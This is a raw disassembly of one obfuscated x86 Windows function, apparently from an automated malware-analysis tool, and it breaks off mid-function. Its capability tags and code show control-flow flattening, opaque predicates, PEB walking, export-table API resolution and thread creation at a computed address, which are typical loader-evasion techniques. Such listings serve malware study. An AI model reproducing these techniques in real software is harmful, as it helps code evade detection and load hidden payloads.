Function at 0x401590
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get number of processors
Link function at runtime on windows
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x499b8
call fcn.00438180
mov eax, dword [0x4ab2c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xdc01dc8d
jmp 0x4015f0
mov eax, dword [0x4ad3e8]
mov ebx, 0xa00d361a
mov edi, 0xc525eeb8
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc525eeb8
sete al
cmove ecx, ebx
cmp dword [0x4ad3e4], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
nop dword [eax]
cmp eax, 0xfac0411e
jle 0x401660
cmp eax, 0x3fd4fff1
jg 0x4016e0
cmp eax, 0x1b124ec9
jg 0x4017c1
cmp eax, 0x9aac934
jle 0x4019e8
cmp eax, 0x140e012e
jg 0x401d27
cmp eax, 0x123a9664
jg 0x402253
cmp eax, 0xe746f48
jle 0x402c3f
cmp eax, 0xe746f49
je 0x403bb3
cmp eax, 0xfe21cf7
je 0x403bdf
cmp eax, 0x11e26fbd
jne 0x4015f0
mov eax, 0xc6a867cf
jmp 0x4015f0
cmp eax, 0xbf4a9916
jle 0x401750
cmp eax, 0xd9ce934e
jg 0x401859
cmp eax, 0xc9446325
jle 0x401a34
cmp eax, 0xd09d75bd
jg 0x401d76
cmp eax, 0xcbf5867b
jg 0x4022a6
cmp eax, 0xc954a952
jle 0x402c70
cmp eax, 0xc954a953
je 0x403bf9
cmp eax, 0xc98a3eda
je 0x403c33
cmp eax, 0xca06fb13
jne 0x4015f0
mov eax, dword [ebp - 0x49844]
mov eax, 0x6512282b
jmp 0x4015f0
cmp eax, 0x6324dc2f
jg 0x401908
cmp eax, 0x5072f5c1
jle 0x401a9f
cmp eax, 0x5b4e7e34
jg 0x401db7
cmp eax, 0x58d6cdd2
jg 0x402321
cmp eax, 0x52972e62
jle 0x402c90
cmp eax, 0x52972e63
je 0x403c66
cmp eax, 0x54812677
je 0x403cc9
cmp eax, 0x57b9dbdd
jne 0x4015f0
mov eax, 0x2755bc79
jmp 0x4015f0
cmp eax, 0x9d4bdc89
jle 0x401991
cmp eax, 0xab5fdc9f
jle 0x401b20
cmp eax, 0xb536cc89
jg 0x401df8
cmp eax, 0xaee7f025
jg 0x402357
cmp eax, 0xac9deacb
jle 0x402cb0
cmp eax, 0xac9deacc
je 0x403ce2
cmp eax, 0xacb4e073
je 0x403cec
cmp eax, 0xad20a4f0
jne 0x4015f0
mov eax, dword [ebp - 0x4996c]
add eax, 2
mov dword [ebp - 0x49970], eax
mov eax, 0x175f9243
jmp 0x4015f0
cmp eax, 0x2755bc78
jle 0x401b9a
cmp eax, 0x2e1aee1b
jg 0x401e70
cmp eax, 0x28da9e97
jg 0x4023c2
cmp eax, 0x28817f53
jle 0x402d04
cmp eax, 0x28817f54
je 0x403cf6
cmp eax, 0x289562e5
je 0x403d0c
cmp eax, 0x289725ec
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x3709f79
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x151a8425
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4989c]
cmovge eax, edx
jmp 0x4015f0
cmp eax, 0xe58472be
jle 0x401be6
cmp eax, 0xebd52952
jg 0x401ed9
cmp eax, 0xe9cdd926
jg 0x402420
cmp eax, 0xe79eede2
jle 0x402d2a
cmp eax, 0xe79eede3
je 0x403d22
cmp eax, 0xe7c99963
je 0x403db6
cmp eax, 0xe9056bdc
jne 0x4015f0
mov eax, dword [ebp - 0x49834]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x499b8]
mov edx, dword [ebp - 0x4981c]
mov edx, dword [edx]
mov edi, dword [ebp - 0x49838]
lea ecx, [ecx + ecx*4]
mov edi, dword [edi]
mov ebx, dword [ebp - 0x49834]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
add edx, dword [edi + ebx*8 + 0xc]
push dword [ebp - 0x498cc]
push dword [ebp - 0x499b4]
push dword [eax + ecx*8 + 8]
push edx
vzeroupper
call fcn.00401410
add esp, 0x10
mov eax, dword [ebp - 0x49824]
mov eax, dword [ebp - 0x4985c]
mov eax, 0x3031cd20
jmp 0x4015f0
cmp eax, 0x700165e5
jg 0x401c43
cmp eax, 0x684fd5e5
jle 0x401f20
cmp eax, 0x6cfd640f
jg 0x40246b
cmp eax, 0x699d828e
jle 0x402d85
cmp eax, 0x699d828f
je 0x403dcf
cmp eax, 0x6a33d567
je 0x403dd9
cmp eax, 0x6b2327e7
jne 0x4015f0
mov eax, dword [ebp - 0x49854]
mov ecx, dword [ebp - 0x498ec]
mov ebx, 0x1ac634c2
mov edi, 0x289562e5
cmp ecx, dword [eax + 4]
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
setb byte [ebp - 0x49882]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x289562e5
jmp 0x405480
cmp eax, 0x909565b4
jg 0x401cbb
cmp eax, 0x8706ec3d
jle 0x401f61
cmp eax, 0x8ab447fa
jg 0x4024e7
cmp eax, 0x874de78d
jle 0x402dc4
cmp eax, 0x874de78e
je 0x403de3
cmp eax, 0x88765f3e
je 0x403df3
cmp eax, 0x8aa72371
jne 0x4015f0
mov eax, 0x84f51af0
jmp 0x4015f0
cmp eax, 0x1e18d4a
jle 0x401fb5
cmp eax, 0x433574a
jg 0x402539
cmp eax, 0x1ff9824
jle 0x402dea
cmp eax, 0x1ff9825
je 0x403e0b
cmp eax, 0x3709f79
je 0x403e24
cmp eax, 0x3767a11
jne 0x4015f0
mov eax, 0x670cf8ee
jmp 0x4015f0
cmp eax, 0xc7019f0f
jle 0x401ff6
cmp eax, 0xc7f9aa8c
jg 0x40258b
cmp eax, 0xc720f0dd
jle 0x402e32
cmp eax, 0xc720f0de
je 0x403e72
cmp eax, 0xc762b4bc
je 0x403e8b
cmp eax, 0xc7a4cc96
jne 0x4015f0
mov eax, dword [ebp - 0x49874]
mov ecx, dword [ebp - 0x49994]
mov dword [eax], ecx
mov ecx, 0xda4605d1
mov eax, dword [ebp - 0x49874]
cmp dword [eax], 0
mov eax, 0xe71a4b9f
cmove eax, ecx
jmp 0x4015f0
cmp eax, 0x46939ba2
jle 0x402054
cmp eax, 0x49d65627
jg 0x4025c1
cmp eax, 0x47013323
jle 0x402ecb
cmp eax, 0x47013324
je 0x403ea7
cmp eax, 0x47311550
je 0x403eb1
cmp eax, 0x479ba798
jne 0x4015f0
mov eax, dword [ebp - 0x49824]
mov edi, 0x3767a11
mov ebx, 0x46852e7c
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, dword [0x4ad3e8]
mov dword [ebp - 0x49904], ecx
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x46852e7c
jmp 0x40538d
cmp eax, 0xa1d6a942
jle 0x40209b
cmp eax, 0xa744e079
jg 0x402608
cmp eax, 0xa4979c06
jle 0x402eeb
cmp eax, 0xa4979c07
je 0x403ec7
cmp eax, 0xa5b5f45d
je 0x403ed7
cmp eax, 0xa5bd8f2e
jne 0x4015f0
mov eax, dword [ebp - 0x4989c]
mov eax, dword [eax]
mov dword [ebp - 0x49964], eax
mov eax, dword [ebp - 0x498a0]
mov eax, dword [eax]
mov dword [ebp - 0x498ac], eax
mov eax, dword [ebp - 0x49844]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0x498b0], ax
mov eax, 0x66139f4
jmp 0x4015f0
cmp eax, 0x1e6067a4
jle 0x4020f4
cmp eax, 0x22e0fe81
jg 0x40265a
cmp eax, 0x21392090
jle 0x402f34
cmp eax, 0x21392091
je 0x403ee7
cmp eax, 0x21d73271
je 0x403ef1
cmp eax, 0x22c28540
jne 0x4015f0
mov eax, 0xebd52953
jmp 0x4015f0
cmp eax, 0xe12ab6ab
jle 0x402155
cmp eax, 0xe32a4637
jg 0x4026ac
cmp eax, 0xe21685bf
jle 0x402f93
cmp eax, 0xe21685c0
je 0x403f23
cmp eax, 0xe23660d1
je 0x403f4a
cmp eax, 0xe2c6bed1
jne 0x4015f0
mov eax, dword [ebp - 0x499a4]
mov ecx, 0x45f4f5bc
cmp eax, 0xc
mov eax, 0x3439faaa
cmove eax, ecx
jmp 0x4015f0
cmp eax, 0x788985df
jle 0x4021b2
cmp eax, 0x7c093da9
jg 0x4026e2
cmp eax, 0x7a9697d7
jle 0x402ff6
cmp eax, 0x7a9697d8
je 0x403f60
cmp eax, 0x7b4208ae
je 0x403f8d
cmp eax, 0x7b435c5a
jne 0x4015f0
mov eax, dword [ebp - 0x49860]
mov ecx, dword [ebp - 0x49830]
mov ebx, 0xc3cbb1a1
mov edi, 0x6052f155
inc eax
mov dword [ecx], eax
mov eax, dword [0x4ad3e8]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6052f155
jmp 0x4015d3
cmp eax, 0x94b1e598
jle 0x4021f3
cmp eax, 0x9ae2c0d6
jg 0x402726
cmp eax, 0x986300a2
jle 0x403033
cmp eax, 0x986300a3
je 0x403f9d
cmp eax, 0x98c4082e
je 0x403ff6
cmp eax, 0x995f31f4
jne 0x4015f0
mov eax, dword [ebp - 0x4990c]
mov ecx, 0x8c88f8e0
mov eax, dword [eax]
mov dword [ebp - 0x49910], eax
mov eax, dword [ebp - 0x49854]
cmp dword [eax + 4], 0
mov eax, 0x1d6ebab4
cmove eax, ecx
jmp 0x4015f0
cmp eax, 0x1788fb7c
jg 0x402785
cmp eax, 0x15f5fb5c
jle 0x40309b
cmp eax, 0x15f5fb5d
je 0x40401d
cmp eax, 0x167aab5c
je 0x404062
cmp eax, 0x175f9243
jne 0x4015f0
mov eax, dword [ebp - 0x49844]
mov ecx, dword [ebp - 0x49970]
mov dword [eax], ecx
mov eax, 0x7fc26757
jmp 0x4015f0
cmp eax, 0xd69c6539
jg 0x4027d2
cmp eax, 0xd1965296
jle 0x4030d6
cmp eax, 0xd1965297
je 0x404095
cmp eax, 0xd3e7a6fe
je 0x4040e9
cmp eax, 0xd4a7db34
jne 0x4015f0
mov eax, 0x2755bc79
jmp 0x4015f0
cmp eax, 0x5dac0941
jg 0x402827
cmp eax, 0x5b982f9e
jle 0x4030fc
cmp eax, 0x5b982f9f
je 0x4040f3
cmp eax, 0x5ba30b56
je 0x4040fd
cmp eax, 0x5cfaadbd
jne 0x4015f0
mov eax, 0x1c37b109
jmp 0x4015f0
cmp eax, 0xb818404f
jg 0x4028b1
cmp eax, 0xb6ae7ab3
jle 0x403135
cmp eax, 0xb6ae7ab4
je 0x404116
cmp eax, 0xb6ae9e62
je 0x404187
cmp eax, 0xb71b9323
jne 0x4015f0
mov eax, dword [ebp - 0x49858]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4983c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x49998]
mov ecx, dword [ebp - 0x49868]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49830]
mov eax, dword [ebp - 0x49830]
mov dword [eax], 0
mov eax, 0x5b66ea49
jmp 0x4015f0
cmp eax, 0x3a1ec99f
jg 0x402903
cmp eax, 0x31b45a9b
jle 0x40315b
cmp eax, 0x31b45a9c
je 0x4041c5
cmp eax, 0x31c04d58
je 0x4041eb
cmp eax, 0x3439faaa
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x47013324
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xbf6a0eca
jmp 0x40564d
cmp eax, 0xf087c5bf
jg 0x402939
cmp eax, 0xec94ae80
jle 0x403198
cmp eax, 0xec94ae81
je 0x404248
cmp eax, 0xedc10746
je 0x404252
cmp eax, 0xede703b1
jne 0x4015f0
mov esi, dword [ebp - 0x49918]
mov eax, 0x6324dc30
jmp 0x4015f0
cmp eax, 0x66b4341e
jle 0x402975
cmp eax, 0x674642d2
jle 0x403236
cmp eax, 0x674642d3
je 0x404271
cmp eax, 0x67fe9532
je 0x40427b
cmp eax, 0x68217f29
jne 0x4015f0
mov eax, 0xc8db1c92
jmp 0x4015f0
cmp eax, 0x82d92cc9
jle 0x4029a0
cmp eax, 0x8475c7ca
jle 0x403272
cmp eax, 0x8475c7cb
je 0x404293
cmp eax, 0x84f51af0
je 0x40429d
cmp eax, 0x850e70a3
jne 0x4015f0
mov eax, dword [ebp - 0x49958]
cmp eax, dword [ebp - 0x4995c]
mov eax, 0x54812677
setl byte [ebp - 0x49883]
jmp 0x4015f0
cmp eax, 0xfddf7944
jle 0x402a22
cmp eax, 0xfff48b95
jle 0x403292
cmp eax, 0xfff48b96
je 0x4042c2
cmp eax, 0xba9485
je 0x4042db
cmp eax, 0xbfaa9b
jne 0x4015f0
mov eax, 0x9cefc927
jmp 0x4015f0
cmp eax, 0xc3cbb1a0
jle 0x402a76
cmp eax, 0xc525eeb7
jle 0x4032cf
cmp eax, 0xc525eeb8
je 0x404321
cmp eax, 0xc5ea5dd7
je 0x4015b1
cmp eax, 0xc6a867cf
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xd87b09de
mov ebx, 0xc94f0fbe
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xc94f0fbe
jmp 0x40538d
cmp eax, 0x42d539fe
jle 0x402abe
cmp eax, 0x456558c4
jle 0x40330b
cmp eax, 0x456558c5
je 0x404343
cmp eax, 0x45f4f5bc
je 0x404353
cmp eax, 0x46852e7c
jne 0x4015f0
mov eax, dword [ebp - 0x49824]
mov eax, 0x479ba798
jmp 0x4015f0
cmp eax, 0x9f7c061b
jle 0x402af5
cmp eax, 0xa00d3619
jle 0x403353
cmp eax, 0xa00d361a
je 0x404399
cmp eax, 0xa060f634
je 0x404415
cmp eax, 0xa0908e12
jne 0x4015f0
mov eax, dword [ebp - 0x498a8]
mov eax, dword [ebp - 0x498a8]
mov eax, dword [ebp - 0x498a8]
mov eax, dword [ebp - 0x498a8]
mov eax, 0x97df95d2
jmp 0x4015f0
cmp eax, 0x1c37b108
jle 0x402b5c
cmp eax, 0x1d2953ce
jle 0x403384
cmp eax, 0x1d2953cf
je 0x40441f
cmp eax, 0x1d6ebab4
je 0x404472
cmp eax, 0x1e2434f2
jne 0x4015f0
mov eax, dword [ebp - 0x498e8]
mov ecx, dword [ebp - 0x4982c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49864]
mov eax, dword [ebp - 0x49864]
mov dword [eax], 0
mov eax, 0x1d2953cf
jmp 0x4015f0
cmp eax, 0xdc0abdc6
jle 0x402b87
cmp eax, 0xdc411df9
jle 0x4033a4
cmp eax, 0xdc411dfa
je 0x40447e
cmp eax, 0xdff7cf89
je 0x4044db
cmp eax, 0xe0cb1218
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xfbfd434d
mov ebx, 0x720df49f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x720df49f
jmp 0x404de7
cmp eax, 0x720df49e
jle 0x402bbe
cmp eax, 0x74c8a208
jle 0x403407
cmp eax, 0x74c8a209
je 0x4044e5
cmp eax, 0x76c30694
je 0x4044ff
cmp eax, 0x78246008
jne 0x4015f0
mov eax, 0x9bfea2a8
jmp 0x4015f0
cmp eax, 0x931b9774
jle 0x402bf8
cmp eax, 0x939b6f58
jle 0x403427
cmp eax, 0x939b6f59
je 0x404515
cmp eax, 0x943ba8f0
je 0x404553
cmp eax, 0x94616d50
jne 0x4015f0
mov eax, dword [ebp - 0x49840]
mov eax, dword [eax]
mov dword [ebp - 0x49934], eax
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
add eax, 6
mov dword [ebp - 0x49938], eax
mov eax, 0x1ad6f57e
jmp 0x4015f0
cmp eax, 0x13b4abf3
jle 0x40344d
cmp eax, 0x13b4abf4
je 0x40455d
cmp eax, 0x13c13e94
je 0x4045a7
cmp eax, 0x1409b564
jne 0x4015f0
mov eax, dword [ebp - 0x49980]
mov eax, dword [eax + 8]
add eax, dword [ebp - 0x4997c]
mov ecx, dword [ebp - 0x49858]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4983c]
mov eax, 0x3c601a04
jmp 0x4015f0
cmp eax, 0xcd435baf
jle 0x40346d
cmp eax, 0xcd435bb0
je 0x4045cd
cmp eax, 0xcd5a94b3
je 0x4045d7
cmp eax, 0xcfdf8468
jne 0x4015f0
mov eax, dword [ebp - 0x498c4]
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49820]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x498c4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x498a4]
cmp byte [eax], 0
mov eax, 0xe7c99963
setne byte [ebp - 0x4988b]
jmp 0x4015f0
cmp eax, 0x5940bf07
jle 0x40349c
cmp eax, 0x5940bf08
je 0x40461c
cmp eax, 0x599e181f
je 0x40465b
cmp eax, 0x5b2e85b7
jne 0x4015f0
mov eax, 0xe21685c0
jmp 0x4015f0
cmp eax, 0xb0a459de
jle 0x4034bc
cmp eax, 0xb0a459df
je 0x404665
cmp eax, 0xb13dc8bf
je 0x4046aa
cmp eax, 0xb3e02e55
jne 0x4015f0
mov eax, dword [ebp - 0x49978]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x49864]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x49864]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49844]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4982c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x49844]
mov eax, dword [ebp - 0x49890]
mov eax, 0xb55f9b35
jmp 0x4015f0
cmp eax, 0x29dd8f25
jle 0x4034ee
cmp eax, 0x29dd8f26
je 0x4046c4
cmp eax, 0x2a7e27dd
je 0x4046e2
cmp eax, 0x2d13e25a
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x29dd8f26
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0xba9485
jmp 0x40564d
cmp eax, 0xea234cdb
jle 0x403537
cmp eax, 0xea234cdc
je 0x404867
cmp eax, 0xea4161db
je 0x40487f
cmp eax, 0xeac89d06
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0x6b2327e7
mov ebx, 0x289562e5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x289562e5
jmp 0x404ddf
cmp eax, 0x6dd636fa
jle 0x403557
cmp eax, 0x6dd636fb
je 0x404889
cmp eax, 0x6e3d32b0
je 0x4048ff
cmp eax, 0x6ebb5603
jne 0x4015f0
mov eax, dword [ebp - 0x498cc]
mov eax, dword [ebp - 0x49858]
mov eax, dword [ebp - 0x49838]
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49854]
mov eax, dword [ebp - 0x498bc]
mov eax, dword [ebp - 0x498b8]
mov eax, dword [0x4ad3e8]
mov ebx, 0x98c4082e
mov edi, 0x82d92cca
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x82d92cca
jmp 0x4015d3
cmp eax, 0x8c7fe536
jle 0x403577
cmp eax, 0x8c7fe537
je 0x404944
cmp eax, 0x8c88f8e0
je 0x40495a
cmp eax, 0x8d883716
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [eax]
mov dword [ebp - 0x4994c], eax
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
mov dword [ebp - 0x49950], eax
mov eax, 0xfff48b96
jmp 0x4015f0
cmp eax, 0x5aca543
jle 0x403597
cmp eax, 0x5aca544
je 0x404975
cmp eax, 0x66139f4
je 0x40498d
cmp eax, 0x8c71826
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xc8322a53
mov ebx, 0xa060f634
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa060f634
jmp 0x40538d
cmp eax, 0xc8322a52
jle 0x4035c3
cmp eax, 0xc8322a53
je 0x4049b3
cmp eax, 0xc8db1c92
je 0x4049bd
cmp eax, 0xc9226109
jne 0x4015f0
mov eax, 0x74c8a209
jmp 0x4015f0
cmp eax, 0x4dacaff0
jle 0x4035e9
cmp eax, 0x4dacaff1
je 0x4049dc
cmp eax, 0x4f1b6b2b
je 0x4049f5
cmp eax, 0x4f65332f
jne 0x4015f0
mov eax, dword [ebp - 0x49894]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x498f4], eax
mov eax, 0xe9cdd927
jmp 0x4015f0
cmp eax, 0xa8b30c0b
jle 0x403631
cmp eax, 0xa8b30c0c
je 0x404a2a
cmp eax, 0xab233576
je 0x404a72
cmp eax, 0xab2d11ef
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0x7b435c5a
mov ebx, 0x6052f155
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x6052f155
jmp 0x40538d
cmp eax, 0x2351d730
jle 0x403688
cmp eax, 0x2351d731
je 0x404a88
cmp eax, 0x238479c1
je 0x404a98
cmp eax, 0x26d51a00
jne 0x4015f0
mov eax, dword [ebp - 0x49870]
mov eax, dword [eax]
mov dword [ebp - 0x49958], eax
mov eax, dword [ebp - 0x49890]
mov eax, dword [eax]
mov dword [ebp - 0x4995c], eax
mov eax, 0x850e70a3
jmp 0x4015f0
cmp eax, 0xe3638d49
jle 0x4036a8
cmp eax, 0xe3638d4a
je 0x404ae7
cmp eax, 0xe4875092
je 0x404af1
cmp eax, 0xe56f47a9
jne 0x4015f0
mov eax, 0x91360ede
jmp 0x4015f0
cmp eax, 0x7c9a260f
jle 0x4036e5
cmp eax, 0x7c9a2610
je 0x404afb
cmp eax, 0x7d59f8a2
je 0x404b11
cmp eax, 0x7fc26757
jne 0x4015f0
mov eax, dword [ebp - 0x49870]
mov eax, dword [eax]
mov dword [ebp - 0x49974], eax
mov eax, 0xc720f0de
jmp 0x4015f0
cmp eax, 0x9bfea2a7
jle 0x403722
cmp eax, 0x9bfea2a8
je 0x404b1b
cmp eax, 0x9ce4a23b
je 0x404b4d
cmp eax, 0x9cefc927
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov edi, 0x31c04d58
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6dd636fb
jmp 0x404381
cmp eax, 0x1ac634c1
jle 0x403770
cmp eax, 0x1ac634c2
je 0x404b57
cmp eax, 0x1ad6f57e
je 0x404b61
cmp eax, 0x1b0daeae
jne 0x4015f0
mov eax, dword [ebp - 0x4981c]
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
add eax, 0x50
mov dword [ebp - 0x4990c], eax
mov eax, 0x995f31f4
jmp 0x4015f0
cmp eax, 0xd846e4e6
jle 0x4037d5
cmp eax, 0xd846e4e7
je 0x404b7a
cmp eax, 0xd87b09de
je 0x404b98
cmp eax, 0xd996f575
jne 0x4015f0
movzx eax, word [ebp - 0x498b0]
mov eax, dword [ebp - 0x498ac]
mov eax, dword [ebp - 0x498ac]
mov eax, dword [ebp - 0x498ac]
mov eax, dword [ebp - 0x498ac]
mov eax, 0x8ab447fb
jmp 0x4015f0
cmp eax, 0x5f1d68e4
jle 0x40380a
cmp eax, 0x5f1d68e5
je 0x404bbf
cmp eax, 0x6052f155
je 0x404c12
cmp eax, 0x6316096f
jne 0x4015f0
push 0x400
push dword [ebp - 0x49930]
push dword [ebp - 0x4992c]
vzeroupper
call fcn.0043b020
add esp, 0xc
mov eax, dword [ebp - 0x49838]
mov eax, dword [ebp - 0x49820]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49820]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x49838]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x49840]
mov eax, dword [ebp - 0x49840]
mov dword [eax], 0
mov eax, 0xe0cb1218
jmp 0x4015f0
cmp eax, 0xba7e7e90
jle 0x403839
cmp eax, 0xba7e7e91
je 0x404c55
cmp eax, 0xbb13508d
je 0x404c6d
cmp eax, 0xbe6dd15d
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0xfe248c92
mov ebx, 0xdff7cf89
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xdff7cf89
jmp 0x40538d
cmp eax, 0x3a95a75f
jle 0x403863
cmp eax, 0x3a95a760
je 0x404c83
cmp eax, 0x3c601a04
je 0x404cde
cmp eax, 0x3deca055
jne 0x4015f0
mov eax, 0x21d73271
jmp 0x4015f0
cmp eax, 0xf1a8b561
jle 0x4038cb
cmp eax, 0xf1a8b562
je 0x404cf4
cmp eax, 0xf53d515d
je 0x404d0a
cmp eax, 0xf6664ba4
jne 0x4015f0
mov eax, dword [ebp - 0x49820]
mov eax, 0xd1965297
jmp 0x4015f0
cmp eax, 0x6512282a
jg 0x4038f9
cmp eax, 0x6324dc30
je 0x404d14
cmp eax, 0x64f2de70
jne 0x4057cc
mov eax, 0x2033e3f0
jmp 0x4015f0
cmp eax, 0x82414d06
jg 0x403928
cmp eax, 0x80b73833
je 0x404d4f
cmp eax, 0x8163d1f7
jne 0x4015f0
mov ecx, dword [0x4ad3e8]
mov eax, dword [0x4ad3e4]
mov ebx, 0x3a1ec9a0
lea edx, [ecx + 1]
imul edx, ecx
mov edi, edx
xor edi, 0xfffffffe
test edi, edx
sete cl
cmp eax, 0xa
setl ch
xor ch, cl
mov ecx, 0xdaea5af8
cmovne ecx, ebx
test edi, edx
mov edi, dword [ebp - 0x49858]
mov edx, ecx
cmove edx, ebx
cmp eax, 0xa
cmovge edx, ecx
mov edi, dword [edi]
mov ebx, dword [ebp - 0x4983c]
mov ebx, dword [ebx]
lea ebx, [ebx + ebx*4]
lea eax, [edi + ebx*4 + 0x10]
mov dword [ebp - 0x49984], eax
mov eax, edx
jmp 0x4015f0
cmp eax, 0xfce8365d
jg 0x403970
cmp eax, 0xfac0411f
je 0x404d68
cmp eax, 0xfbfd434d
jne 0x4015f0
mov edx, dword [0x4ad3e8]
mov ecx, dword [0x4ad3e4]
mov edi, 0x720df49f
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xec94ae81
jmp 0x404e32
cmp eax, 0xc03e7032
jg 0x4039c5
cmp eax, 0xbf4a9917
je 0x404d8b
cmp eax, 0xbf6a0eca
jne 0x4015f0
mov eax, dword [0x4ad3e8]
mov edi, 0x943ba8f0
mov ebx, 0x47013324
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x47013324
jmp 0x40538d
cmp eax, 0x40816ca1
jg 0x4039e5
cmp eax, 0x3fd4fff2
je 0x404da7
cmp eax, 0x404330b3
jne 0x4015f0
mov eax, dword [ebp - 0x4985c]
mov dword [eax], 0x40
mov eax, 0x40816ca2
jmp 0x4015f0
cmp eax, 0x9dfef50a
jg 0x403a22
cmp eax, 0x9d4bdc8a
je 0x404dc5
cmp eax, 0x9d5b311c
jne 0x4015f0
mov eax, dword [ebp - 0x49848]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x49898]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x49880]
mov ecx, dword [ebp - 0x49848]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x49880]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, dword [ebp - 0x49848]
mov eax, 0xe79eede3
jmp 0x4015f0
cmp eax, 0x1ba02035
jg 0x403a4e
cmp eax, 0x1b124eca
je 0x404e04
cmp eax, 0x1b936251
jne 0x4015f0
mov eax, 0x8d883716
jmp 0x4015f0
cmp eax, 0xdaea5af7
jg 0x403abb
cmp eax, 0xd9ce934f
je 0x404e47
cmp eax, 0xda4605d1
jne 0x4015f0
mov eax, dword [ebp - 0x49828]
mov dword [eax], 0xc
mov eax, 0x7986be0f
jmp 0x4015f0
cmp eax, 0x70698d7d
jg 0x403b29
cmp eax, 0x700165e6
je 0x404e51
cmp eax, 0x70193282
jne 0x4015f0
cmp byte [ebp - 0x49882], 0
